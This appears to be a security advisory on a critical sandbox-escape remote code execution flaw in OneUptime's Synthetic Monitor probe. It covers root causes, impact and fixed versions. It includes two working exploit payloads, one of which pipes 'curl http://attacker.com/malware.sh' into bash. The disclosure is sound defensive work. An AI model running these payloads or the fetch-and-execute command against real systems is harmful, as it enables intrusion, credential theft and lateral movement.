Mar 7, 2026·6 min read·3 visits
Critical RCE in OneUptime allows authenticated users to escape the Synthetic Monitor sandbox and execute arbitrary commands on the probe server. Fixed in version 10.0.20.
A critical Remote Code Execution (RCE) vulnerability exists in OneUptime versions prior to 10.0.20, specifically within the `oneuptime-probe` service. The vulnerability stems from an insecure implementation of a JavaScript sandbox used for Synthetic Monitors, allowing authenticated users with low privileges to execute arbitrary code on the host system. The flaw is caused by the exposure of dangerous host objects to the sandbox context and an incomplete `Proxy` implementation that fails to trap specific object property accessors, enabling a complete sandbox escape.
OneUptime provides a "Synthetic Monitor" feature that allows users to define custom monitoring logic using Playwright scripts. These scripts are executed by the oneuptime-probe service to simulate user interactions with web applications. To support this, the service executes user-supplied JavaScript within a Node.js vm context, attempting to isolate the execution environment from the host operating system and the main Node.js process.
The vulnerability arises from fundamental design flaws in how this isolation is implemented. While the system employs a custom Proxy wrapper to intercept and sanitize access to global objects, it fails to comprehensively implement all necessary Proxy traps. Furthermore, the architecture injects live, privileged Playwright objects directly into the untrusted context. This combination allows malicious scripts to bypass the intended security boundaries completely.
The impact is categorized as Critical (CVSS 9.9) because it grants Remote Code Execution (RCE) to any user with permission to create or edit monitors. Since probes are often deployed within internal networks to monitor private services, this vulnerability serves as a potent specific entry point for lateral movement within a compromised infrastructure.
The root cause of this vulnerability is twofold: the incomplete implementation of the JavaScript Proxy mechanism used for sandboxing, and the direct exposure of powerful host objects.
1. Incomplete Proxy Traps (Sandbox Escape):
The oneuptime-probe service uses a function createSandboxProxy to wrap objects exposed to the vm context. A JavaScript Proxy allows developers to define custom behavior for fundamental operations (traps) such as property lookup or assignment. However, the implementation in VMRunner.ts defined traps for get, apply, has, and ownKeys, but crucially omitted getOwnPropertyDescriptor.
When a script calls Object.getOwnPropertyDescriptor(target, prop) on a proxied object, and the proxy lacks the corresponding trap, the operation falls through to the target object. In this case, the target object exists in the host realm (outside the sandbox). The returned property descriptor contains references to the value's constructor. By accessing .value.constructor on a standard host object (like console.log), an attacker retrieves the host's Function constructor. This constructor can be used to generate new functions that execute in the host's context, bypassing the vm sandbox entirely.
2. Dangerous Object Exposure:
Even without the Proxy escape, the implementation explicitly injects the host's Playwright browser and page instances into the VM context in SyntheticMonitor.ts. The Playwright Browser object exposes the browserType() method, which includes a launch() function. This function accepts an executablePath argument, allowing the caller to spawn arbitrary executables (e.g., /bin/bash) on the underlying system. This design error provides a direct path to command execution without requiring complex prototype manipulation.
The following analysis highlights the specific deficiencies in the VMRunner.ts and SyntheticMonitor.ts files that facilitate this exploit.
The Proxy Trap Failure (VMRunner.ts):
The sandbox relies on createSandboxProxy to restrict access. A robust sandbox proxy must implement all invariant traps to prevent leakage of the underlying object identity. The vulnerable code implements a subset of traps, leaving getOwnPropertyDescriptor exposed.
// VMRunner.ts (Vulnerable Implementation Concept)
const createSandboxProxy = (target: any) => {
return new Proxy(target, {
get: (target, prop) => { /* Custom logic */ },
apply: (target, thisArg, args) => { /* Custom logic */ },
// MISSING: getOwnPropertyDescriptor
});
};Because getOwnPropertyDescriptor is missing, the following chain allows escape:
Object.getOwnPropertyDescriptor(console, 'log').console object.{ value: [Function: log], writable: true, ... }.value property is the host log function.value.constructor is the host Function constructor.The Host Object Injection (SyntheticMonitor.ts):
In Probe/Utils/Monitors/MonitorTypes/SyntheticMonitor.ts, the code initializes a Playwright environment and passes it directly to the VM runner.
// SyntheticMonitor.ts
const browser = await playwright.chromium.launch();
const context = await browser.newContext();
const page = await context.newPage();
// Vulnerability: Passing the raw host 'browser' object into the sandbox
await VMRunner.run(code, {
browser: browser, // <--- DIRECT EXPOSURE
page: page,
// ... other context variables
});By handing the browser instance to the untrusted code, the application effectively grants the script the same privileges as the oneuptime-probe process regarding process creation.
An attacker can exploit this vulnerability using the standard "Create Monitor" workflow in the OneUptime dashboard. No special network tooling is required; the attack is delivered purely via the application logic.
Vector A: Proxy Bypass (Sandbox Escape) This payload uses the missing proxy trap to reconstruct the process object, allowing execution of shell commands.
// In the "Playwright Code" editor:
// 1. Obtain the host Function constructor via the descriptor leak
const HostFunction = Object.getOwnPropertyDescriptor(console, "log").value.constructor;
// 2. Use HostFunction to create a function that returns the 'process' object
const getProcess = HostFunction("return process");
const proc = getProcess();
// 3. Import child_process and execute a reverse shell or command
const output = proc.mainModule.require("child_process").execSync("id").toString();
console.log(output); // Returns "uid=0(root) gid=0(root)..."Vector B: Playwright Abuse
This payload ignores the sandbox restrictions entirely by leveraging the authorized browser object to spawn a shell.
// In the "Playwright Code" editor:
// 1. Access the browser type (Chromium/Firefox/etc)
const browserType = browser.browserType();
// 2. Launch a new browser instance pointing to a system shell
await browserType.launch({
executablePath: '/bin/bash',
args: ['-c', 'curl http://attacker.com/malware.sh | bash']
});Both methods result in the execution of commands with the privileges of the probe container (typically root or a specialized service user).
The successful exploitation of this vulnerability yields full control over the oneuptime-probe instance. The severity is magnified by the typical deployment patterns of monitoring probes.
Confidentiality (High): Attackers can read all environment variables, which often contain database credentials, API keys for third-party services (e.g., Slack, Twilio), and internal service authentication tokens. They can also access the source code and configuration files within the container.
Integrity (High): Attackers can modify the probe's behavior to report false monitoring data, masking service outages or injecting false positives. They can also persist access by modifying the container's filesystem (if not read-only) or injecting malicious code into the probe's runtime.
Availability (High): Attackers can terminate the probe process, consume all available system resources (CPU/RAM) via fork bombs, or use the probe as a launchpad for Denial of Service attacks against other internal services.
Lateral Movement Risk: Probes are frequently deployed inside Kubernetes clusters or internal VPCs to monitor non-public endpoints. Compromising a probe allows the attacker to scan the internal network, interact with internal APIs (e.g., Kubernetes API server), and pivot to other sensitive systems that trust the probe's IP address.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@oneuptime/common OneUptime | < 10.0.20 | 10.0.20 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-749 |
| Attack Vector | Network |
| CVSS Score | 9.9 |
| Complexity | Low |
| Privileges Required | Low |
| Exploit Status | PoC Available |
Exposed Dangerous Method or Function